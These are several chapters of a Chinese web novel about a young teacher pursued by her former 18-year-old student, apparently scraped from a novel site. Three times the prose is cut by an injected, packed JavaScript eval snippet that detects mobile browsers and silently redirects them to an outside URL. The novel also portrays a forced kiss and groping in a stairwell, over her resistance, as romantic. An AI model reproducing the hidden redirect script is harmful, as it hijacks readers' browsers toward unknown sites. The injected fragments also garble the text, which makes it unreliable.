纪复白忍不住笑,走过去,和她站一起,吓得蒋一茉想要抱头鼠窜。 “我不过来跟你打招呼才奇怪吧?”他道。 他也不知道蒋一茉怎么想的,自己都已经毕业了,她还在心虚什么劲儿。 他时常痛恨自己曾是她学生这件事,有时又无比庆幸当过她学生,在她的注视下成长为令她感到骄傲的人,在她心里永远占有一席之地。 公交站台上汇聚不少学生,大多都听说过纪复白,也认识他,有些女孩儿互相推搡着,想过来跟他说话又不好意思。 蒋一茉挪开一点,跟他保持距离。 公交驶来,纪复白跟着蒋一茉上了车。 等车子摇摇晃晃走了好几站,车上的人都下去得差不多了,蒋一茉找位置坐下,纪复白立刻跑过去占领她旁边的座位。 蒋一茉叹口气,无奈道:“能解释下你在干什么吗?” 纪复白摘下帽子扔进背包里,抓了抓头发,说:“怕你又跟前男友去吃饭,所以来等你下班,送你回家。” 蒋一茉:“……你无不无聊?” 纪复白说:“这个事儿很简单,你只要明确答应我再也不跟他吃饭,我之后就不会每天到校门口等你下班。” 蒋一茉:“……” 蒋一茉看着他,眼里含着微怒,认真地,冷冷地,安静地传达着她的不满。 纪复白没妥协,平静地凝眸回望,不愿退步。 过会儿,蒋一茉转头朝向窗外,纪复白也转过头去,面向过道,心里闷着火气。 又到一站,再下了些人,后半车厢只剩他们两个,纪复白率先开口,声音压得很低,有种分明不想讲但又不得不讲的懊恼:“蒋一茉,我的心没你硬,我的心会痛,痛得我喘不过气,你就不能……多在乎我一点?” 蒋一茉:“……” 蒋一茉最怕他说软话,她向来吃软不吃硬。 默了几秒,终是心软,轻叹着气:“我答应你就是了。” 纪复白闻言,眉头聚集的郁闷一下全散了。 他笑着侧过身子,一手搭着前排椅背,一手搭在蒋一茉椅背,捏了捏她脸:“不早答应,真是坏啊你,坏姐姐。” 蒋一茉说:“你下一站就下车。” 她看出他脸上有些疲态,加上晒了一天,手臂都黑了一些,不过配上肌肉线条,看起来更加有力了。 纪复白一听让他下车,蓦地又来了气,眉心拧紧:“又赶我?每次看见我就赶我,要么就无视我……” 蒋一茉捂住他嘴,不让他再继续输出,“能不能安静听我说,能就眨眨眼。” 纪复白眨巴两下眼,蒋一茉松开手,见他鼻尖附着一层薄汗,拇指替他轻轻揩去,说:“玩一天不累吗,早点回去休息不好吗,这又不是大半夜,这条路线我也不是第一次走,哪里还需要人送呢?” 听她原来是这个意思,纪复白整个人都卸下刚才的烦躁,握住她纤细手腕,放在自己脸上,在她掌心里蹭蹭,目光温柔:“我现在多的是时间休息,送你回家的机会却就这一次,别赶我了,好不好?” 蒋一茉抿了抿唇角,无可奈何地捏捏他脸,抽出手,又在他身上擦两下,故作嫌弃道:“都是汗。” 话音刚落,她脸被掰过去,纪复白把自己脸贴上来蹭,等放开她后,笑得一脸满足。 蒋一茉拧他胳膊,开口又要骂,少年摘下颈项间挂着的头戴式耳机,给她戴上。 与此同时,响起的歌曲是,周杰伦的——《安静》。 蒋一茉:“……” 纪复白还故意把食指抵在她唇上,嘴角勾起坏笑。 蒋一茉更加来气,两手掐住他脖子晃了两下。 她是真拿他没办法。 这样并肩坐了一段路,纪复白中途拿下耳机,问蒋一茉:“怎么还不睡,我肩膀都准备好了。” 蒋一茉:“……” 被瞪一眼,少年赖皮的笑笑,又把耳机给她戴上,想着要不放个催眠的歌,好让她快点睡着。 结果最后没能撑住的,是他自己。 他脑袋不时往前点一下,困得眼皮打架,蒋一茉发现,伸手护住他头,轻轻放倒在自己肩膀。 纪复白太高,这样一来,头倒是有靠的地方,脖子却难受。 他干脆又换个姿势,抬手把蒋一茉搂进怀里,再把下巴搁在她头顶,这下舒服多了。 他低头,唇轻轻地贴了贴她发丝,嗅到女人身上淡淡的茉莉香,有些心猿意马。 勾搭在肩上的手臂,垂下的位置正好在她挺立的胸前,他却不敢轻举妄动,偶尔车子转弯或刹车,手会不受控制撞向那点柔软,触感新奇。 蒋一茉这时会把他手拿开一点,他不动声色地,又挪回原位,希望着,来个急刹多好。 公交从天亮跑到天黑,窗外五彩斑斓的霓虹灯光投射在他们身上,光影像海浪一波一波翻腾而去。 他虽然抱着她,却因得不到她毫无保留的回应,而感到有些孤独。 比一个人时还孤独。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337631|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他眼里映着逐渐不再繁华的车外建筑,在车内昏暗一片时,捧起她脸,低头吻在眉心,亲吻许久,没有离开。 蒋一茉:“……” 这一次,蒋一茉没有推开他。 假装,是在做一场梦。 - 下了公交,蒋一茉把耳机还给纪复白,整理了下头发,让对方不用继续送,就在这个路口打车回家。 她说着,掏出手机要给他叫车。 “我自己会叫车,不用你花钱。”纪复白按住她手道,“让我送你到楼下吧?” 蒋一茉:“你别总是来我楼下,被熟人和我妈看见不好解释。” “你又嫌弃我,有什么不好解释的,就说我在追你,怎么了,被我追很丢脸?”纪复白皱眉道。 蒋一茉咬了咬唇,心一横:“对,被小我六岁的18岁男生追求,就是很丢脸!” 纪复白沉着脸看了看她,两手插兜,自顾自往她家去:“不管你怎么说,我今天都要送你到楼下,你要是觉得丢脸,我把帽子给你戴,你可以遮一遮,假装自己不是蒋一茉。” “……” 蒋一茉哑然失笑。 她小跑两步跟上,上下扫男生一眼,心想今天这一身徒步装扮还真够帅的,一袭黑衣走在夜里,衬得那张白皙脸庞清隽又惹眼,跟一颗从天上掉下来的星星一样,好似发着光。 她经常一抬眸只能望见少年的下颌线,那线条,是世间最完美的一笔。 蒋一茉:“长这么长两条腿干什么?一步顶我两步。” 纪复白:“长得高长得壮,才能保护我喜欢的人。” 纪复白看着眼前蔓延远去的街道,放缓步速。 “真正的保护,不在于这些。”蒋一茉说。 “我当然知道,有些人尽管瘦小,却拥有极大的能量去保护别人,”纪复白转头,看着蒋一茉,“比如你。” 蒋一茉笑了笑,“少拍马屁。” 纪复白一愣,也笑笑,没说什么。 这段路毕竟不能走一辈子,等来到楼洞口要分别时,纪复白的手从兜里伸出来,拉住了蒋一茉手腕:“可以吻别吗?前天亲了,昨天亲了,今天还没有亲过你嘴,刚刚在车上其实不想亲你额头,又怕惹你生气,万一打开窗户直接把我丢出去。” 蒋一茉噗嗤一声笑,前两次没防备也就算了,正经来说,他们之间真不应该有这些莫名其妙的亲密行为。 她道:“情侣才会接吻,我问你,我们是情侣吗?我拜托你,每次想要做这些不合时宜的举动时,脑子里都想想这个问题。” 纪复白不管,手上用力,把人拉过来,搂腰抱住,亮亮的黑色眸子盯住她,嗓音温温柔柔地哄:“不想思考那么多,尊重生理反应不好吗,我就是很想很想亲你,好姐姐,让我亲一下,好不好?” 他压低了头,鼻尖扫过她鼻尖,与她香甜呼吸交融,只要对方同意,只用0.1秒,他就可以吻住那张粉糯的唇。 “快点说可以,求求姐姐了。”他嘴上在撒娇服软,身子却在往前倾压,准备要入侵。 蒋一茉的视线在这时越过他,在远处逐渐聚拢焦点,看见对面楼道突然亮起声控灯。 她微微往后躲开一点,紧接着推开他,大步退开,转身上楼。 “别闹了,快回去!” 丢下这句,身影瞬间就消失在转角。 纪复白怀里一空,心里也陡然一空,这感觉并不陌生,这种失落常伴他入眠。 烦躁地抓了两下头发,他坐到身后长椅上,等蒋一茉卧室灯亮起,这才起身离开。 睡前,蒋一茉习惯性点进朋友圈,纪复白新发布的这条动态依旧仅她可见,从时间来看,应该是在他回家的路上。 这次,他只是分享了一首周杰伦的《安静》。 配的文案,是其中一句歌词—— 【为什么我连分开都迁就着你】 蒋一茉看了许久这句话,没什么心情继续刷朋友圈了,点开歌曲链接,静静放着,拉起被子盖过头,在黑暗中揪紧了被角,有些难过。 20. 表白 纪复白剪了一晚视频,第二天凌晨发在他们以前的班级群里。 开头是7人大喊“蒋一茉”,在他喊“我爱你”的地方开始进音乐。 并不是一首很热血或昂扬向上的歌曲,而是一首悠扬又略带点感伤的《相思赋予谁》: “…… 一番番青春未尽游丝逸 思悄悄木叶缤纷霜雪催 嗟呀呀昨日云髻青牡丹 独默默桃花又红人不归 你说相思赋予谁 ……” 视频里,也不仅仅是他们几人昨天徒步的画面,还插入了以前班级里的日常素材和运动会素材等等,使人一边看一边就湿了眼眶,感受到视频里透出的无法言喻的离别之伤。 纵然他们已经离别。 纪复白除了把视频丢到群里,还异常温情地发了一句:“此视频送给最好的高三(1)班。你说,相思赋予谁。” 吴南是第一个回复的,发了一个大哭的表情,然后跟了一个字:你。 接着,全班都跟着保持队形: (哭)你。 (哭)你。 (哭)你。 (哭)你。 (哭)你。 (哭)你。 …… 蒋一茉和几个老师上午坐在办公室里看完视频,都有些怀念起这些学生还没毕业前的日子。 现在,那些教室全都空着,下课时,也只有高三年级这两层楼静悄悄的,再没有学生闯进办公室来喊老师好,也听不见唐老头一遍又一遍地念叨小白这个小白那个。 蒋一茉看向唐老头,竟见他在偷偷抹眼泪。 乖乖,这个画面能排进她今年见过的恐怖画面Top2,Top1是纪复白第一次在微信上跟她撒娇要她点赞。 唐老头擤了把鼻涕,提议道:“咱1班的老师们,晚上聚个餐吧,正好李老师下学期要走了。” “砰!”——秦勤的手机突然脱手砸在了地上。 她问李清辉,不是要结婚了吗,怎么这时候辞职。 李清辉解释道:“就是打算结婚,所以才要回老家,这边工资是高一些,但房价也高,教多少年书也买不起一套像样的房。我未婚妻在老家是公务员,她工作挺稳定的,我想就我回去吧。” 顺着这话,大家又聊起房子来。 蒋一茉没有参与讨论,一直关注着秦勤。 秦勤拿了张湿巾在擦手机,慢慢地擦着,擦了许久。 当天晚上,大家选在一家以前聚餐时经常去的饭店。 点完菜,等着准备上菜期间,扯着各种话题正闲聊,有老师突然笑说:“吴南两小时前发的这个抖音可以啊,点赞都破万了,几个人昨天玩儿得挺嗨。” 这时候,班群里也有人分享了吴南的抖音。 十多张照片,都是昨天他们徒步途中拍的,配文大致是在怀念高中生活。 照片中几个男生女生笑容洋溢地摆着各种姿势,在山脚小溪边,在山腰花丛中,在山顶最高端,都有他们或搞怪或温馨的身影。 扑面而来的青春气息,朝气蓬勃的干净脸孔,使屏幕外看照片的人也感觉跟他们一起变年轻了。 这条视频评论和转发也都已经过万,蒋一茉心说确实拍得不错,点开评论区想看看都怎么夸的,竟然全在谈论照片里最高的男生。 最高赞直接把纪复白圈了出来,评论:【想谈,感觉那双手很有劲儿(色)】 有人说:【每张合照把帅哥放正中是有道理的,这号不就起来了吗】 有人说:【就这个男高爽(色)】 有人说:【谁有最高那帅哥微信号,前两天跟他吵架把他删了,看他发照片哄我,想加回来】 有人说:【老公高考完了吗,考完了该考我了(捂脸哭)】 有人说:【天杀的,我一眼就认出那是我未来男朋友,白皮,眼镜男,碎发盖额,手指修长,帮女生拎包男友力爆棚,这次就算了,下次不要拎了哈】 有人说:【谈不到急死我了谈不到急死我了谈不到急死我了】 除了这些,还有许多人直接甩平常在学校偷拍纪复白的照片,上楼梯的,下楼梯的,操场上的,教室里的,站着笑的,趴着睡的……点赞和回复量都异常惊人。 有人还发现他外号叫“小白”,大呼反差萌,可爱晕了!!! 其他老师跑抖音上看一眼也就过去了,唯独蒋一茉,悄悄地一张张点开那些偷拍的照片看得专注。 有一张是晚自习放学,下起了雨。 细雨下,少年穿着蓝白校服,单肩背着包,没有撑伞,淡定走进雨里,教学楼的明亮灯光落在背后,前方漆黑的夜等他去闯,给人一种向死而生的震撼。 因拍照人手持不稳,那几分晃动导致的模糊,让这张背影照更具真实感和氛围感。 所谓一眼万年,大概如此。 这也是获赞最多的一张照片。 这时,弹出一条微信,蒋一茉点开—— 纪复白:【看照片多不过瘾,抬头,看我。】 蒋一茉:? 她抬头,照片里的大帅哥真人版正从店门口走过来,挺拔的高个子和帅气的脸不管在哪儿都那么瞩目,旁边唐老头拍着他肩,一路在笑。 “巧不巧,刚好小白和几个朋友也过来吃饭。”唐老头走到桌前,笑道。 纪复白挨个打招呼:“李老师、秦老师、高老师……”叫了一圈,最后才到蒋一茉,“蒋一茉。” 蒋一茉:??? 大家一愣,又都笑开。 蒋一茉年轻,没什么架子,经常能跟同学打成一片,听纪复白叫她全名,也都没觉得奇怪。 有老师打趣道:“小白,你在抖音成大红人了呀。” 纪复白略微的一笑,不太当回事:“过两天就没人关注了。” 蒋一茉浑身像有蚂蚁在爬,一点不自在,就连喝水,差点都不知道用哪只手合适,眼睛也不知道该看哪处。 尽管都毕业了,唐老头对纪复白还是老生常谈,翻来覆去依然那些话。 不过这次,还聊到了大学选什么专业的问题。 “小蒋老师有什么意见吗?”纪复白突然问到蒋一茉。 蒋一茉正埋着头在手机上瞎忙,戳戳点点,突然被点名,一阵心虚,手机差点没拿稳掉进茶杯里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347450|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉吟几秒,她抬眼,认真看着他道:“顺心而为吧。” “那怎么行。” 唐老头立刻端出过来人的派头,那脱口而出的速度,几乎早已准备好不管她说什么都要驳回。 “选专业得看发展前景,就业前景,学校教学资源还有专业环境……” 唐老头吧啦吧啦说一堆,其他老师也跟着说了几句,听起来都不无道理。 只不过,蒋一茉希望眼前这个少年能听从自己心里的声音活着,永远炽热,永远冲动,永远少年意气,永远保持初心。 直到开始上菜,唐老头演讲才结束。 “怎么样,小蒋,我说的还是有点道理吧?”他笑说。 “小蒋老师说的也有道理。”纪复白这时道。 唐老头顿了下,大笑:“是,等到时候填志愿,你都想想我们今天所有老师的话,没坏处。” 他又叫纪复白干脆跟他们一块儿吃,纪复白心想自己要是留下,蒋一茉绝对马上起身就走,不带回头的。 纪复白:“不了,我那边还有朋友,就不打扰了,老师们再见。” 几个老师纷纷挥手:“再见小白。” 纪复白走出两桌距离,才又回头,去看蒋一茉。 惊喜的是,后者也在看他,互相撞进彼此眼里。 趁蒋一茉还没来得及收回视线,他指指自己的心,又指指她,嘴上无声表白:“我听你的。” “……” 蒋一茉垂下眼,过了好一会儿,才浅浅笑了一下。 - 纪复白这边一起吃饭的也是几个同学,不过不是他们以前1班的人,大家在学校时经常一起打球,偶尔也一起打打游戏,关系还不错。 今天几个人碰巧在一个考点考科目一,便约着吃顿饭。 本来没要包间的,这几个人看见那一桌老师,叫店经理赶紧给他们来个包间。 纪复白回来时还问呢,怎么跑包间来吃了。 他想在外面吃,主要是在包间就看不见蒋一茉了。 那几个人竖起大拇指,说:“谁面对一桌老师能吃得下饭谁是这个!” 纪复白:“……” 饭吃到尾声,有人刷起抖音,刷到吴南那条爆火的视频,笑说:“白爷你现在成咱学校流量密码了,评论区都在打听你。” 纪复白蹙了蹙眉,有些烦躁。 虽说等两天这事儿就没热度了,但还真的有人跑来加他微信,各种各样五花八门申请语。 这时有人又道:“欸,白爷,你交女朋友了?是他们在评论区说的,照片里搭你肩的女孩儿?” 另外一人道:“这不我们班班长甄晨吗?” 那人说:“怪不得我说眼熟呢。” 纪复白听他们这么说,心里纳闷儿什么女朋友,跑去抖音看了眼。 他以前不玩抖音,今天吴南甩来视频叫他帮忙点赞,才第一次下载。 那时吴南也没想到,自己这个视频会万赞。 前排此时又多了一条高赞评论,那人在一张合照里圈出纪复白和在他身后搭着他肩的甄晨,说:“这是女朋友吧,就她搭他肩了,挺漂亮的,两人好搭,开磕。” 21. 停止 这张合照,纪复白单膝蹲在最前面,其余六人在后面做造型。 他压根儿没注意谁在他右边,更没注意搭他肩膀的是谁。 可是现在,被那条评论引导,评论区都在猜甄晨是他女朋友,还分析的有鼻子有眼。 纪复白在心里骂了句“搭个屁”,他除了跟蒋一茉搭,跟谁都不搭,立即留言澄清:【不是。】 然而这俩字发出去便石沉大海找不见了。 他找吴南,让他赶紧帮忙澄清。 吴南收到,立即回复那条:【不是,我们都只是关系好的同学而已,我哥们儿还没有女朋友呢。】 有人回复他:【可能人家两人已经在一起了,你们不知道呢,你看照片里他总在看她。】 看到这条评论,纪复白瞬间明白了什么叫无中生有,他前半程一直戴着墨镜,后半程换回眼镜也没有特意看过甄晨,怎么就被解读成总在看她了? 这要是被蒋一茉看见,自己跳进黄河也洗不清。 吴南回复:【哈哈真不是。】 接着圈出了纪复白的抖音号:【这就是我那哥们儿,你们看他自己也回复不是。】 这一下,纪复白的那条【不是】很快被顶了上去。 有人在他这条评论下回复:【小白小白(色)】 之后所有人都在保持这个队形,楼瞬间歪了。 同时,他这个号的粉丝数也在暴涨。 不过纪复白已经没空在意这些,他起身出去,发现老师们那桌吃完走人了,立即又给蒋一茉打电话。 那边接起来,从嘈杂的环境很快换到了安静的环境。 听她那边刚刚那么吵,纪复白到嘴边的解释变成了:“你在哪儿?” 蒋一茉说:“吃完饭又来唱歌了,怎么,有什么事?” 听她语气淡淡的,纪复白心里有些忐忑,说:“你有没有看到吴南那条抖音下面,评论里有人说甄晨是我女朋友……” 蒋一茉“嗯”了声,没别的话。 看她这种反应,纪复白眉头皱得更紧,解释道:“她搭我肩的时候,我不知道,如果我知道,肯定就不让她搭了,你别生气,好不好?以后有女生的场合我通通都不去了。” 蒋一茉在电话那头沉默了会儿,才说:“纪复白,搭肩没什么,大家猜测调侃她是你女朋友也没什么,你跟其他女生出去玩儿更没什么,” 纪复白:“你不在意我,所以觉得没什么,对吗?” 蒋一茉:“不是,你听我把话说完。就算我们在一起,谈恋爱也不需要这样,我前男友当初跟别的女生在我面前抱着跳舞呢,有什么关系,我一向不在意这些,只要我认为你可以信任,我就会信任你的全部。可是,” 纪复白的心又悬起来,觉得“可是”后面不会是什么好听话。 蒋一茉:“可是,更何况我们甚至都没有在谈恋爱,所以你更没必要对我解释什么,我们不是这样的关系。” 纪复白沉吟半晌,问她:“你信任我吗?” 蒋一茉:“嗯。” 纪复白:“信任我的全部吗?” 蒋一茉:“……” 默了几秒,她道:“唯独你说你爱我这件事,我无法信任,对不起。” 纪复白撑着走廊的墙,无力叹气:“可我真的爱你,蒋一茉。” 蒋一茉:“可你真的应该看看,那些更值得你喜欢的同龄女孩儿。你跟甄晨挺搭的,我也觉得。” 纪复白:“……” 纪复白:“气话,还是认真的?” 蒋一茉:“认真的。” 纪复白捏紧手机,两秒后,挂断了电话。 他站了站,结完账回包间说了声他先走,又说账已经结完了。 几个人大呼“白爷大气”,又有人问他跟甄晨是不是真的在一起,纪复白正烦这事儿,关门前不耐烦地回道:“不是!”甩上门。 剩下5个人面面相觑,都叫那人以后可别再提了。 纪复白离开饭店,想了想,电话打给了秦勤。 “喂,小白?”秦勤接到他来电,语气挺惊讶。 纪复白:“秦老师,你和蒋一茉在一起吗?” 秦勤:“没有,我不太舒服,回家了,他们好像去唱歌了。” 纪复白:“你知道他们在哪儿唱歌吗,我找她有点事儿,可能那边现场太吵,打电话她没接。” 秦勤听他语气生硬,感觉哪里不对:“你找一茉有事儿?什么事儿?” 纪复白:“我怕她一个人在外面不安全,想等她结束,送她回家。” 秦勤:“呃……小白你……” 纪复白:“麻烦把地址发我,同时不要告诉她我要去找她,当然,你不给也没关系,我有的是办法找到她。” 秦勤:“小白,你是不是对一茉……” 纪复白:“您发还是不发?” 秦勤:“……不行,我得问问一茉。” “那您问。”纪复白挂了电话。 蒋一茉这头手机上显示秦勤来电,放下酒杯,堵着一边耳朵开门出去接。 蒋一茉:“喂?” 秦勤:“一茉,你跟纪复白什么情况?” 蒋一茉:“什、什么什么情况?” 秦勤:“他说要来找你,要送你回家,问我你们在哪个KTV唱歌。” 蒋一茉心里一紧:“你告诉他了?” 秦勤:“我说要问问你,我跟你说,那小子简直跟变了个人似的,在电话里可不客气了!” 蒋一茉:“……” 蒋一茉:“我知道了。” 秦勤默了两秒,说:“他不会喜欢你吧?” 蒋一茉:“……” 听她沉默,秦勤便有了答案,在那头有些傻眼:“我的天,还好已经毕业了,我真替你捏一把汗,没想到他这浓眉大眼的家伙也会有这种心思。那我告不告诉他你在哪儿?” 蒋一茉:“不用,你别管了,不舒服就好好休息。” 蒋一茉回到KTV,拿了包跟大家说有事儿先走一步。 开门时,碰见唐老头,还有后来被他叫来一起唱歌的那两个爱造谣她的男老师,三人一起从卫生间回来。 唐老头见蒋一茉背着包,说:“小蒋要走了?” 蒋一茉侧过一点头:“嗯,不早了,家里有点事,先回去。” 那俩男老师一个说:“怎么蒋老师脸色这么差?” 另一个说:“今天没男学生送你回家了,要不我送蒋老师回去吧?” 两人互相看一眼,都笑起来。 蒋一茉:“……” 蒋一茉憋着一口气,忍无可忍,回身,端起满杯扎啤,向那男同事泼了过去。 “你他妈——”那人抹了把脸,举拳要揍,被唐老头拦下,低声呵斥几句。 包间里的人见状也都围过来,音乐声音太大,不知道他们发生了什么,都在问怎么了。 唐老头转头对蒋一茉道:“快回去吧,小蒋,快走。” 蒋一茉强迫自己冷静,把空啤酒杯放回桌上,目不斜视,步伐不紧不慢地离开。 她打车回家,一路上都有些恍惚,等到楼下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352302|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了一眼自己家客厅那扇窗户,没有亮灯,文娟这个点应该还在店里。 尽管没有灯,心里那艘没有目的地的孤船,依旧好像看见了等待它的港湾,变得稍微踏实一些。 她想打电话叫妈妈回来,想立刻扑进文娟怀里,大哭一场。 走进楼洞,蒋一茉连喊亮声控灯的力气都没有,就这么摸黑走着。 “灯也不喊,不怕摔一跤么?” 微沉嗓音毫无预料地从背后传来,蒋一茉惊讶他竟然没去唱歌的地方找她,故意晃了她一枪! 手腕一紧,眨眼间她人已被高大身躯堵在角落。 纪复白摘掉眼镜,吻霸道地落下来,蒋一茉被压牢,动弹不得,推拒的柔白手腕被少年一只手轻松扣在一起,举过头顶。 他另只大手,修长食指随性地勾着镜腿,故意从衣服下摆探进去,摸上细腰。 肌肤相接,感觉像摸着一块嫩滑的豆腐,是少年从未有过的体验,他轻轻一声满足地低哼,某处涨得难受,硬邦邦地抵着她。 声控灯灭了,他们被吞没在黑暗里,一时不知身处何处。 占有欲在辗转的唇齿间迸发,他舌尖勾住她的小舌吮着,偶尔惩罚似的轻轻咬一下,呼吸间染上她的酒气。 他边吻边道: “蒋一茉,少拿话气我,我这辈子就跟你搭,知道吗?” “是不是我叫姐姐叫多了,你当真以为我是个好欺负的弟弟?” “你就是在吃醋,你对前男友那些行为不在意因为你不喜欢他,可你爱我,所以你生气别的女生碰我,别不承认。” 他的吻一直侵入她的唇,不停歇,渐渐地心里却慌了,哄她,求她:“回应我,茉茉,给我点回应,好不好,一点点就可以。” “停止吧。”蒋一茉终于开口,声音很小,没能让灯亮起来,周围依旧漆黑。 “……停止什么?”纪复白听见她颤抖的哭腔,有些心凉。 蒋一茉:“停止你的闹剧。” 纪复白:“我闹什么了,你为什么就是不信我是真心的呢?我真的爱你,你为什么不信?” 蒋一茉:“因为不能,不可以,你放过我吧,我求你了……” 听到她哭,纪复白心也跟着碎,给她抹眼泪的动作小心翼翼又透着慌乱,“有什么不能的,你别有这么大压力,你仔细想想,好不好?” 蒋一茉摇头:“你什么都不知道,你什么都没有承担过,所有人都会指指点点我们的关系,他们编排我,嘲笑我……纪复白,我老实跟你讲,我不是吃醋,我是自卑,可以了吗?” 纪复白捧住她脸,心疼得一塌糊涂:“蒋一茉,在我心里,没人可以跟你比较。何必要在意其他人怎么说,生活是我们自己的。” 蒋一茉:“我就是会在意,我就是这种人,我不是你,我没有你洒脱可以吗,那你要我怎么办?” 纪复白心痛又无力,“我不是这个意思,我是说……” “别说了,到此为止。”蒋一茉深吸一口气,稳住情绪,“我大你六岁,我没有时间陪你玩儿,我们不可能,听清楚了吗,纪复白?听清楚了,现在,滚回你家。” 纪复白:“……” 纪复白垂下手,几乎要将眼镜捏碎,而他的心,已然碎成渣了,散在胸腔,肺腑,身体各个角落,以至于每一口呼吸都在疼。 在他的沉默中,蒋一茉推开他,上楼回家。 盛夏夜晚,少年额前挡住眉头的碎发被汗湿,伴着吵翻天的蝉鸣,如蒋一茉所愿,滚回自己家。 夜色下行走的背影,落寞无力。 22. 招惹 蒋一茉回到家,好似已经用尽所有力气,多走一步都费劲,倚着门直接坐到地上,抱住双膝,忍了又忍,终究没忍住,大哭起来。 没一会儿,门外有脚步声传来,她赶忙抹了把泪,站起来往卫生间跑,中途被餐桌一角绊了一跤,摔在地上,忍住痛爬起来,赶在文娟开门前,一瘸一拐进了卫生间。 洗完澡出来,蒋一茉脸上已经无事发生,跟文娟闲聊两句,说自己先睡了,回到卧室。 她关上灯,故意把空调温度调低,这样可以完全缩进被窝里,更加有安全感。 手机轻微震动了下,尽管知道是什么消息,她还是拿出来看了一眼。 纪复白的“晚安”依旧准时发来—— 纪复白:【晚安,蒋一茉。不接受我也没关系,要睡个好觉,我爱你。】 蒋一茉锁上手机,依旧塞回枕头下,闭上眼,泪从眼角淌下。 她怎么能睡个好觉,一闭上眼,就是那两人造谣她上勾引校长,下勾引学生的话。 一闭上眼,就是甄晨搭着纪复白肩膀那张照片,还有那些说他们俩帅哥美女很搭的评论。 她想起来,和王衍之在一起时,也是这样。 王衍之每次和那个女生一起主持节目,周围人都会说他们俩好配。 她坐在台下,听着那些言论,笑也笑不出,哭又显得太小题大做,便只是咬住唇自己郁闷。 要是跟纪复白在一起,这种情况只会出现得更加频繁。 蒋一茉在被子里弓腰蜷缩,自己把自己抱紧,低低地呜咽着又哭了起来。 为什么要来招惹她,为什么要让她看到自己有多么不配,这个纪复白,简直可恶。 - 仿佛什么都没发生,蒋一茉依然学校家里两点一线,就好像做了一场梦。 如果,不是每天依然要面对纪复白的“晚安”,她想,她会真的以为那些天只是一场梦。 周末,蒋一茉睡到中午,刷牙时,文娟打来电话,让她去机场接一下弟弟。 蒋一茉弟弟高考结束,来这边过暑假。 当时爸妈离婚,蒋一茉跟妈妈来这边,弟弟跟了爸爸待在成都。 爸爸两年前再婚,弟弟经常在微信上跟她抱怨后妈那家人。 那位后妈早年间死了丈夫,独自带着一儿一女,目前都正在上初中。 后妈勤快,把家里什么都打理得妥妥当当,他爸又是个大男子主义的人,就看中这一点好。 又心疼人家独自带孩子没有个依靠,而他自己,开了家超市是个小老板,还有另外两家店铺每个月交租上来,收入稳定,所以干脆再婚,给人一个依靠。 蒋一茉弟弟平常总跟她吐槽一些鸡零狗碎的事,比如他们总是不打招呼就进他卧室,动他球鞋手办,借他小说不还,乱扔他袜子内裤之类的。 蒋一茉一开始还觉得弟弟小气,后来听他抱怨的频率高了,也开始理解。 看起来不值得生气的小事,一旦积累得多了,更容易使人崩溃。 蒋一茉爸爸也知道儿子心里憋屈,于是让蒋斯源过来住一阵子,正好高三毕业有三个月暑假,过来放松放松心情,转转这边的大学。 蒋一茉爸爸倒没有强制让蒋斯源一定要留在四川,他觉得年轻还是应该到处闯闯。 蒋一茉洗漱完,换了衣服打车到机场,在国内到达出口接到她弟。 蒋斯源背黑色书包,推一只黑色行李箱,黑色口罩捂着半张脸,一身简单的白色T恤黑色运动短裤,脖子上挂着白色头戴式耳机。 蒋一茉第一反应——她弟怎么黑成这样了?! 蒋斯源是个身高185cm的黑皮篮球体育生,又高又壮。 爸妈离婚后,他俩就没再见过面,但是经常视频。 不过视频里,她没觉得弟弟有这么黑(大概开美颜的缘故),也没感觉这么高。 蒋斯源推着行李箱走过来,眉眼一弯,俯身抱了抱蒋一茉:“姐!” 蒋一茉纳闷儿:“你这些年吃的啥,长这么高?我俩是亲生的吧,凭什么啊?” 明明是亲姐弟,她却只长到一米六出头就停止了,这也太不公平! 蒋斯源笑说:“我打断腿去后接的骨头,行吧?” “你头上喷发胶了?真够臭美的,还给自己做发型?” 蒋一茉摸了摸他喷完发胶后硬硬的短碎发。 “头一回来京城,总要打扮下,不能给你丢脸。” 蒋斯源搭着自己亲姐的肩往外走。 这时,跟他坐同架飞机的一个女生跑来要微信。 “呃,这是你女朋友吗,不好意思……” 女生跑过来,看见蒋一茉,面露一丝尴尬。 “不是不是,我是他姐,亲姐。”蒋一茉连连摆手解释。 女生松了口气,又问蒋斯源方不方便加个微信。 “问我家长。”蒋斯源把蒋一茉推出去。 女生立刻道:“我要不然加姐姐你的微信?” “好好好,你先加我姐吧,跟她聊。” 蒋斯源弯着一双坏笑的眼。 蒋一茉莫名奇妙加了个陌生人微信,等坐进车里,才一掌拍在弟弟后脑。 蒋一茉:“干嘛让人家加我?” 